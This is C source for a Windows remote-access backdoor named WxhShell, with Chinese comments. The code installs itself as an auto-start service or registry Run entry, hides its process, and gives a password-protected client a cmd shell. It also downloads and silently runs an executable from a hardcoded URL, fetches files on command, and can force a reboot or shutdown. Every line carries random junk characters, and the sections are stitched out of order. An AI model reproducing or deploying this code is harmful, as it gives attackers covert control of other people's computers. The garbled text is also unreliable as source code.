    if(Boot(SHUTDOWN)) XRP+0=0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #fXy4iL l  
    else { %2^V.`0T  
    closesocket(wsh); K1o&(;l8G  
    ExitThread(0); "5<YN#  
    } z$VVt ?K  
    break; GY"c1 KE$  
    } :J+ANIRI  
  // 获取shell LCb0Kq}*/(  
  case 's': {  }s8xr>  
    CmdShell(wsh); R?J8#JPXD  
    closesocket(wsh); {@PZlQg  
    ExitThread(0); g9IIC5  
    break; jPg[LZQ'  
  }  J@J`)  
  // 退出 }Q-Tw,j  
  case 'x': { |:`)sx3@#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lGJ&\Lv:  
    CloseIt(wsh); v2YU2-X[  
    break; BLm}mb#/{  
    } 1\/~>  
  // 离开 .73sY5hdTN  
  case 'q': { x@x5|8:ga  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Kh}6   
    closesocket(wsh); CM t$ )  
    WSACleanup(); @k/|%%uP  
    exit(1); ]puDqu5!  
    break; LwH+X:?i  
        } t{Ks}9B  
  } f+Fzpd?wS  
  } d~T@fa  
<<9|*Tz  
  // 提示信息 )[=C@U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M-8d*#_P  
} WWLf'89It  
  } Wq<H sJd/  
y"H(F,(N  
  return; %-|$7?~   
} G+m[W  
V Y@`)  
// shell模块句柄 m=w #l>!  
int CmdShell(SOCKET sock) 'a~F'FN$  
{ JYLAu4s6  
STARTUPINFO si; vpdT2/F  
ZeroMemory(&si,sizeof(si)); I~-sBMm(w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6~6 vwp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xSq+>,b  
PROCESS_INFORMATION ProcessInfo; :1~4X  
char cmdline[]="cmd"; kAW2vh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r]S"i$  
  return 0; .EjjCE/v-  
} i\* b<V  
%V(U]sbV  
// 自身启动模式 )W1[{?  
int StartFromService(void) (T.j3@Ko  
{ @J6V ,  
typedef struct ]@l;;Sp  
{ 9q2x}  
  DWORD ExitStatus; Seq ^o=  
  DWORD PebBaseAddress; ]DZ~"+LaG  
  DWORD AffinityMask; WqHp23  
  DWORD BasePriority; 1([?EfC  
  ULONG UniqueProcessId; }#n d&ND  
  ULONG InheritedFromUniqueProcessId; .8wF> 8  
}   PROCESS_BASIC_INFORMATION; S=$ \S9  
%)e&"mq!|  
PROCNTQSIP NtQueryInformationProcess; hF1Lj=x  
LfvRH?<W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `U>]*D68  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -8S Z}J  
l?HC-_Pbh  
  HANDLE             hProcess; hS^8/]E={  
  PROCESS_BASIC_INFORMATION pbi; c2PBYFCyC  
r6nWrO>y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }'uV{$  
  if(NULL == hInst ) return 0; ];u nR<H  
_A=i2?g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *(sv5c!0M8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^j1i CL!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P R_| 8H|  
v5W-f0Jo  
  if (!NtQueryInformationProcess) return 0; ; Ji3|=4u  
>ffQ264g=i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UxnZA5Lk*  
  if(!hProcess) return 0; pO2XQYhrY  
z%$M IC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P+rDln {  
PE6ZzxR|U<  
  CloseHandle(hProcess); x. /WP~I  
%KR2Vlh0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4u1au1c  
if(hProcess==NULL) return 0; BD M"";u  
F*y7 4j,  
HMODULE hMod; I0_>ryA  
char procName[255]; Z_Y gV:jc  
unsigned long cbNeeded; _ujhD  
(,RL\1zJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MO|8A18B  
&#'.I0n  
  CloseHandle(hProcess); t;t;+M|W  
n9k-OGJ  
if(strstr(procName,"services")) return 1; // 以服务启动 W}WDj:  
pc;`Fz/`7  
  return 0; // 注册表启动 )t$-/8  
} U< "k -  
cfHtUv  
// 主模块 VzWH9%w  
int StartWxhshell(LPSTR lpCmdLine) )c.!3n/pb  
{ 2UTmQOm  
  SOCKET wsl; -LlS9[r0  
BOOL val=TRUE; 1gX$U00:  
  int port=0; k%;oc$0G-3  
  struct sockaddr_in door; ]'0}fuV  
<Q_E3lQy/  
  if(wscfg.ws_autoins) Install(); 48.4GwL7  
1CS\1[E  
port=atoi(lpCmdLine); i8=+ <d  
I@(3~ Ab  
if(port<=0) port=wscfg.ws_port; *~zB{  
$/Llzpvny  
  WSADATA data; OK \9`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0 .ck!"h}  
 \ns} M3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _*wlK;`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :\%ZTBLL  
  door.sin_family = AF_INET; (b7',:_U7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iz27yXHZ~  
  door.sin_port = htons(port); xQNGlVipZ@  
p,3}A( >  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 352RJC  
closesocket(wsl); ;/!o0:m^I  
return 1; ,S&p\(r.  
} bMqFrG  
ah#jvp  
  if(listen(wsl,2) == INVALID_SOCKET) { @/='BVb'T  
closesocket(wsl); BoHNni  
return 1; [*r=u[67F  
} ?JR?PW8  
  Wxhshell(wsl); <_SdW 5BF<  
  WSACleanup(); <lRjh7  
)~ ^`[`  
return 0; x}uDW   
p uW  
} }|],UXk{xB  
 )eH?3""  
// 以NT服务方式启动 #`%V/#YK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JHJ]BMm  
{ 3.h0  
DWORD   status = 0; m~gcc  
  DWORD   specificError = 0xfffffff; X#ud_+6x  
B_"PFWwg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @u:q#b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &pH XSU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  8(}cbW  
  serviceStatus.dwWin32ExitCode     = 0; b.cBg.a  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 axt\  
  serviceStatus.dwCheckPoint       = 0; H?;@r1ZAn  
  serviceStatus.dwWaitHint       = 0; u0%bv\$m  
9T<k|b[6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "71Y{WQ   
  if (hServiceStatusHandle==0) return; EnEaUb?P  
RP9~n)h~b  
status = GetLastError(); LKg9{0Y:  
  if (status!=NO_ERROR) tYx>?~   
{ )Dyyb1\)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UryHte  
    serviceStatus.dwCheckPoint       = 0; 5YXMnYt9  
    serviceStatus.dwWaitHint       = 0; ,hCbx #h  
    serviceStatus.dwWin32ExitCode     = status; )4n]n:FjN  
    serviceStatus.dwServiceSpecificExitCode = specificError; {]O.?Yru?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U/-|hfh  
    return; R+9 hog  
  } k>:\4uI|<\  
SOluTFxUw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0hq\{pw_y*  
  serviceStatus.dwCheckPoint       = 0; 8TYoa:pZ  
  serviceStatus.dwWaitHint       = 0; <m%ZDOMa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m" ]VQnQ  
} ozl>Au  
 K"Gea`I  
// 处理NT服务事件,比如:启动、停止 a#&\65D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $v=(`=  
{ Ib"fHLWA^!  
switch(fdwControl) Cjj(v7[E  
{ A%~t[ H  
case SERVICE_CONTROL_STOP: "P$')u wE  
  serviceStatus.dwWin32ExitCode = 0; va!fJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lN_b&92  
  serviceStatus.dwCheckPoint   = 0; gj82qy\:  
  serviceStatus.dwWaitHint     = 0; -'Z-8  
  { fBKN?]BdN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z*.rv t  
  } Q>TNzh  
  return; jV#1d8qm  
case SERVICE_CONTROL_PAUSE: WPPD vB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G9CL}=lJ,  
  break; J!yK/*sO,  
case SERVICE_CONTROL_CONTINUE: M[L@ej  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8]WcW/1r !  
  break; 5[P^O6'  
case SERVICE_CONTROL_INTERROGATE: AH^'E  
  break; 6df`]s c  
}; o}yA{<"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |oR#j `  
} n`p/;D=?  
m[Qr>="  
// 标准应用程序主函数 e<"sZK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3(1UI u  
{ 4hW:c0  
y.a)M?3  
// 获取操作系统版本 W2A!BaH%  
OsIsNt=GetOsVer(); 5?TX.h9B4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )9+H[  
E>F6!qYm  
  // 从命令行安装 peVzF'F  
  if(strpbrk(lpCmdLine,"iI")) Install(); UFeQ%oRa8  
}U**)"  
  // 下载执行文件 )a$sx}  
if(wscfg.ws_downexe) { H:o=gP60]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M+7jJ?n  
  WinExec(wscfg.ws_filenam,SW_HIDE); kMg[YQ]OC  
} avUdv V-  
+d3h @gp  
if(!OsIsNt) { [V0%=q+R  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ZtvpL}e  
HideProc(); TrBtTqH)  
StartWxhshell(lpCmdLine); X&!($*/  
} DOq"=R+  
else DK#Tr: 7  
  if(StartFromService()) QV _a M2  
  // 以服务方式启动 cgR8+o  
  StartServiceCtrlDispatcher(DispatchTable); t]xR`Rr;X  
else UhSaqq  
  // 普通方式启动 m21H68y  
  StartWxhshell(lpCmdLine); b>nwX9Y/U  
T|uG1  
return 0; _"82W^Wi  
} L"( {6H  
ZJHaY09N  
v5*JBW+c*  
2D"aAI<P  
=========================================== 8>(/:u_x  
A9LVS&52  
I%CrsEo  
au/5`  
H~W=#Cx  
GsIqUM#R  
" JY$;m3h  
yRt7&,}zL  
#include <stdio.h> H)5"<=]  
#include <string.h> ?F|F~A8dr  
#include <windows.h> 5zH_yZ@+  
#include <winsock2.h> 3/8<dc  
#include <winsvc.h> Y5<W"[B!  
#include <urlmon.h> :%IB34e  
^-(DokdBn  
#pragma comment (lib, "Ws2_32.lib") }zrapL"9X  
#pragma comment (lib, "urlmon.lib") `|4k>5k  
`Cz_^>]|=  
#define MAX_USER   100 // 最大客户端连接数 G1wJ]ar  
#define BUF_SOCK   200 // sock buffer 7~VDk5Z6  
#define KEY_BUFF   255 // 输入 buffer m5cRHo<9Y  
1}OM"V  
#define REBOOT     0   // 重启 @Z Dd(xB&  
#define SHUTDOWN   1   // 关机 i.e4<|{  
I\|.WrMNi  
#define DEF_PORT   5000 // 监听端口 cPX^4d~9  
>&Y\g?Z6G  
#define REG_LEN     16   // 注册表键长度 L!~ap  
#define SVC_LEN     80   // NT服务名长度 j-t"  
!'a <Dw5  
// 从dll定义API @R;&PR#5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 18> v\Hi<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K8h\T4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W?du ]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JG{`tTu  
(dHjf;  
// wxhshell配置信息 0m4'm<2m  
struct WSCFG { <A&Zl&^1  
  int ws_port;         // 监听端口 c;88Wb<|W  
  char ws_passstr[REG_LEN]; // 口令 )<.y{_QUN  
  int ws_autoins;       // 安装标记, 1=yes 0=no '-P+|bZW4  
  char ws_regname[REG_LEN]; // 注册表键名 ,Eo\(j2F.  
  char ws_svcname[REG_LEN]; // 服务名 (SByN7[g b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J#\oc@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W4)bEWO+q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yn.[-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cuL/y$+EY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u"DE?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CM)V^k*  
<>V~  
}; Ka$lNL3<j  
s $ ?;C  
// default Wxhshell configuration 40 zO4  
struct WSCFG wscfg={DEF_PORT, mcxD#+H 3  
    "xuhuanlingzhe", )QI#szv6  
    1, 7nZ3u _~  
    "Wxhshell", imyfki $B  
    "Wxhshell", _Zxo <}w}y  
            "WxhShell Service", >".@;  
    "Wrsky Windows CmdShell Service", -cP1,>Ahv  
    "Please Input Your Password: ", 0+AMN-  
  1, p Moza8  
  "http://www.wrsky.com/wxhshell.exe", ;&MnPFmq  
  "Wxhshell.exe" `k(m2k ?  
    }; kv<(N  
Nop61zj  
// 消息定义模块 "_:6v64Gx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yh.WTgcW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'a>D+A:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -0<ZN(?|  
char *msg_ws_ext="\n\rExit."; SUD~@]N1  
char *msg_ws_end="\n\rQuit."; :)%cL8Nz]$  
char *msg_ws_boot="\n\rReboot..."; Yh{5O3(;  
char *msg_ws_poff="\n\rShutdown..."; $ SZIJe"K  
char *msg_ws_down="\n\rSave to "; So4#n7  
$dug"[  
char *msg_ws_err="\n\rErr!"; kkXe=f%  
char *msg_ws_ok="\n\rOK!"; Jv!f6*&<  
4|DN^F~iut  
char ExeFile[MAX_PATH]; JY3!jtv  
int nUser = 0; n D}<zj$D2  
HANDLE handles[MAX_USER]; !wKiMgLS  
int OsIsNt; A:5P  
X,D ]S@  
SERVICE_STATUS       serviceStatus; bb$1zSA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E CPSE {  
,Qj\_vr@  
// 函数声明 @2TfW]6  
int Install(void); n2Q ?sV;m  
int Uninstall(void); x!u6LDq0  
int DownloadFile(char *sURL, SOCKET wsh); e1hf{:&/G@  
int Boot(int flag); ,Bj]j -\Y  
void HideProc(void); \!*F:v0g^  
int GetOsVer(void);  &%T*sR  
int Wxhshell(SOCKET wsl); juxAyds  
void TalkWithClient(void *cs); qos/pm$&i  
int CmdShell(SOCKET sock); ~w(A3I.  
int StartFromService(void); W >|'4y)  
int StartWxhshell(LPSTR lpCmdLine); !$<Kp6  
>L$9fn/J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P=X)Ktmv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S KGnx  
!e('T@^u6u  
// 数据结构和表定义 ,I:[-|Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Wj, {lJ,  
{ ;HiaX<O!  
{wscfg.ws_svcname, NTServiceMain}, -?Cu-'  
{NULL, NULL} P@Vs\wAT  
}; C#RueDa.  
Pd~z%VoO  
// 自我安装 U\>k>|Jr{  
int Install(void) ".?y!VY  
{ \U'*B}Sz  
  char svExeFile[MAX_PATH]; u(JuU/U  
  HKEY key; 7<k@{xI/  
  strcpy(svExeFile,ExeFile);  !>Q{co'  
D2zqDo<+;  
// 如果是win9x系统,修改注册表设为自启动 wd1>L) T  
if(!OsIsNt) { SRrp= >w?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^[v>B@p*{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lo36b zbT  
  RegCloseKey(key); P#"_H}qC*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T7N\b]?j@Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,QLy }=N  
  RegCloseKey(key); tR_DN  
  return 0; o_r{cnu  
    } !ED,'d%J  
  } 5xa!L@)`wF  
} S4OOm[8  
else { J$-1odL0Z  
jI$7vmO  
// 如果是NT以上系统,安装为系统服务 nyOvB#f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !RN9wXS7  
if (schSCManager!=0) o@YEd d  
{ r$%,k*X^ k  
  SC_HANDLE schService = CreateService mOFp!(  
  ( 2t7=GA+j  
  schSCManager, Ah zV?6e  
  wscfg.ws_svcname, f?"909&  
  wscfg.ws_svcdisp, fLV@~T|  
  SERVICE_ALL_ACCESS, ][~rk?YY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |^#Z!Hp_Y  
  SERVICE_AUTO_START,  5e2yJ R  
  SERVICE_ERROR_NORMAL, d!"gb,ec  
  svExeFile, mOb@w/f  
  NULL, s+v$sF  
  NULL, 9W j9=  
  NULL, ?:W=ddg  
  NULL, d%oHcn  
  NULL (>dL  
  ); uFaT~ 4  
  if (schService!=0) 2gnz=  
  { Vb?_RE_H  
  CloseServiceHandle(schService); 0p'g+ 2  
  CloseServiceHandle(schSCManager); B*fBb.Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wL&[Vi_j{  
  strcat(svExeFile,wscfg.ws_svcname); :BblH0'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M$3/jl*#}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KCn#*[  
  RegCloseKey(key); ,_:6qn{  
  return 0; +@<@x4yt  
    } zZV9`cqZ{  
  } ]K<7A!+@@p  
  CloseServiceHandle(schSCManager); pzU:AUW  
} 'JAe =K H  
} l#]+I YD  
pH0MVu(W  
return 1; v&`n}lS  
} E,[v%Xw   
s$/ Z+"f(  
// 自我卸载 4 rD&Lg'  
int Uninstall(void) +^a@U^V  
{ hxGo~<. :  
  HKEY key; [LSs|f  
D \boF+^  
if(!OsIsNt) {  3;Tsjv}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UDb  
  RegDeleteValue(key,wscfg.ws_regname); V}Pv}j:;  
  RegCloseKey(key); Rz33_ qA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]kH8T'  
  RegDeleteValue(key,wscfg.ws_regname); (- {.T  
  RegCloseKey(key); :Z]\2(x  
  return 0; ),0Ea~LB4  
  } 83Fmu/(  
} d^`n/"Ice  
} X&,a=#C^  
else { 5WI0[7  
pwV{@h!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ET|4a(x  
if (schSCManager!=0) ,D`\ R V  
{ YTfMYH=}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u6*mHkM  
  if (schService!=0) ['l}*  
  { !3o]mBH8  
  if(DeleteService(schService)!=0) { Y+3r{OI  
  CloseServiceHandle(schService); wodff_l  
  CloseServiceHandle(schSCManager); F/D/1w^ iR  
  return 0; 5I5#LQv0  
  } I@q4D1g  
  CloseServiceHandle(schService); ae] hCWK  
  } J(`(PYo\i  
  CloseServiceHandle(schSCManager); 1i 6>~  
} =7zvp,B  
} 5R O_)G<  
]$A6krfh|  
return 1; _\AT_Zmy  
} </qli-fXB}  
J8h H#7WMS  
// 从指定url下载文件 1@Rl^ey  
int DownloadFile(char *sURL, SOCKET wsh) =z2g}X  
{ =UF mN"  
  HRESULT hr; QkY;O<Y_  
char seps[]= "/"; BEii:05  
char *token;  !:|D[1m  
char *file; S&~;l/  
char myURL[MAX_PATH]; @|9V]bk  
char myFILE[MAX_PATH]; AkBEE  
m# I  
strcpy(myURL,sURL); G88g@Exk  
  token=strtok(myURL,seps); "@&I*1&  
  while(token!=NULL) YGkk"gFIA  
  { ~)!vhdBe  
    file=token; [1.>9ngj  
  token=strtok(NULL,seps); IaRq6=[  
  } 50`<[w<J q  
FdmoR;  
GetCurrentDirectory(MAX_PATH,myFILE); )>WSuf j  
strcat(myFILE, "\\"); %<'PSri  
strcat(myFILE, file); N x/_+JWje  
  send(wsh,myFILE,strlen(myFILE),0); ]a\HgFp@  
send(wsh,"...",3,0); uJ%XF*>_D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oz\r0:  
  if(hr==S_OK) liVj-*m  
return 0; @4j!M1} 4  
else ziD+% -  
return 1; k0-,qM#p;X  
<>[]- Vq  
} q=uJ^N  
mV'^4by  
// 系统电源模块 I$1~;!<  
int Boot(int flag) #jX%nqMxW  
{ LF_am*F  
  HANDLE hToken; N`!=z++G  
  TOKEN_PRIVILEGES tkp; 98t|G5  
PH]ui=  
  if(OsIsNt) { 2]-xmS>|b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Z~\&r=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JJE0q5[  
    tkp.PrivilegeCount = 1; ^+Stvj:N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y1U\VU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0D_{LBO6LU  
if(flag==REBOOT) { ~(d#T|ez  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >[TJ-%V>oR  
  return 0; 6R%N jEW:  
} kG]FB.@bG  
else { o`ijdg!5qG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? Eh)JJt  
  return 0; /N\[ C"8  
} uHpSE?y/  
  } Ke,$3Yx  
  else { ='GY:.N  
if(flag==REBOOT) { @`#"6y?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >,QW74o  
  return 0; NW@guhK.  
} @P}!mdH1  
else { s4Y7x.-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BJ7m3[lz  
  return 0; 'Lv>!s 7  
} "r.eN_d  
} ao.v]6a  
p+d?k"WN?  
return 1; k6W  [//  
} ys$X!Ep  
F5;x>;r  
// win9x进程隐藏模块 <ooRpn  
void HideProc(void) *[[TDduh&  
{ <)$b=z  
7"Iagrgw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vaUUesytt  
  if ( hKernel != NULL ) 0`l(c  
  { ' CO3b,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k=qb YGK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %.;`0}b  
    FreeLibrary(hKernel); yW)X asn  
  } h"5!puN+  
b py576GwA  
return; )nJh) {4\  
} (xhV>hsA  
dGBVkb4]T  
// 获取操作系统版本 >J No2  
int GetOsVer(void) Af_yb`W?  
{ q(cSHHv+  
  OSVERSIONINFO winfo; W-ll2b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #-Nc1+gu   
  GetVersionEx(&winfo); dJwE/s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ![#>{Q4i  
  return 1; Rt10:9Kz$  
  else nXnO]wXC  
  return 0; l\{{iAC]I  
} u4p){|x7s  
v22ZwP  
// 客户端句柄模块 p[lciWEW  
int Wxhshell(SOCKET wsl) BSib/)p   
{ 0"to]=  
  SOCKET wsh; nI6[y)j  
  struct sockaddr_in client; *ioVLt,:R  
  DWORD myID; j9Y'HU5"  
> : ;*3  
  while(nUser<MAX_USER) SH${\BKup  
{ SvD^'( x  
  int nSize=sizeof(client); t)/:VImY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^-i<TJ  
  if(wsh==INVALID_SOCKET) return 1; nofK(0TF  
juc;]CHt'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); geB]~/-p  
if(handles[nUser]==0) Ue22,Pp6  
  closesocket(wsh); >k{KwFB^S  
else e+=P)Zp/  
  nUser++; ^6U0n!nU  
  } M8wEy_XB1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gr y]!4Hy  
'-[~I>o%  
  return 0; p&~= rp`E  
} #XJ`/\E]  
/}=Bi-  
// 关闭 socket hB)TH'R{:  
void CloseIt(SOCKET wsh)  M} {'kK  
{ 3\jcq@N  
closesocket(wsh); 2XN];,{  
nUser--; R |h(SXa  
ExitThread(0); 8 k%!1dyMB  
} g`BtG  
)+S^{tt  
// 客户端请求句柄 ~qxuD_  
void TalkWithClient(void *cs) 9 L^:N)-  
{  + Y  
U F ]g6u  
  SOCKET wsh=(SOCKET)cs; XV> )[Nd\H  
  char pwd[SVC_LEN]; P<<hg3@  
  char cmd[KEY_BUFF]; NlnmeTLO5  
char chr[1]; Y uo  
int i,j; atA:v3"  
V!94I2%#x  
  while (nUser < MAX_USER) { <(U :v  
:UgCP ~Y  
if(wscfg.ws_passstr) { 2l9RU}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z7t-{s64  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=^A{V!m  
  //ZeroMemory(pwd,KEY_BUFF); M >BcYbXf  
      i=0; 7CKh?>  
  while(i<SVC_LEN) { m"CsJ'\ors  
4pfv?!Oj  
  // 设置超时 5@xl/  
  fd_set FdRead; IfdgMELk  
  struct timeval TimeOut; ,:e##g~k  
  FD_ZERO(&FdRead); LgX"Qk&Ca  
  FD_SET(wsh,&FdRead); dLs40 -R  
  TimeOut.tv_sec=8; A=5A8B1  
  TimeOut.tv_usec=0; jK{)gO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \:/ :S"-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Y}X7-|)Z  
f(o1J|U{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J|z>5Z  
  pwd=chr[0]; GukS =rC9  
  if(chr[0]==0xd || chr[0]==0xa) { +80yyn#  
  pwd=0; $Jt+>.44  
  break; j5yxdjx9  
  } 9(PQ7}  
  i++; #6%9*Rh  
    } ^l(Kj3gM  
`T]1u4^E  
  // 如果是非法用户,关闭 socket rfdT0xfcU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @}{~Ofs  
} vQ/&iAyut  
E4nj*Lp~+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %j3 *j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8=%%C:  
@+3@Z?!SZ  
while(1) { i"{ \ >  
x3JX}yCX  
  ZeroMemory(cmd,KEY_BUFF); c9 UJ=  
'<35XjW  
      // 自动支持客户端 telnet标准   1~HR;cTv=  
  j=0; }LaRa.3  
  while(j<KEY_BUFF) { J,bE[52  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gg3cY{7  
  cmd[j]=chr[0]; ~HH#aXh*  
  if(chr[0]==0xa || chr[0]==0xd) { n2JwZ?  
  cmd[j]=0; uD2v6x236  
  break; n' \poB?  
  } DhL]\ 4  
  j++; '01ifA^  
    } ,KMt9 <  
%S<0l@=5`l  
  // 下载文件 MU; L7^  
  if(strstr(cmd,"http://")) { JDyP..Dt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A{ :PpYs  
  if(DownloadFile(cmd,wsh)) )9L:^i6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BihXYux*  
  else ~9OART='  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AC$:.KLI  
  } u H}cvshv  
  else { o0nKgq'w|x  
a/Cd;T2  
    switch(cmd[0]) { W+&w'~M  
  ~ cKmf]  
  // 帮助 eJ+uP,$  
  case '?': { }K!)Z}8  
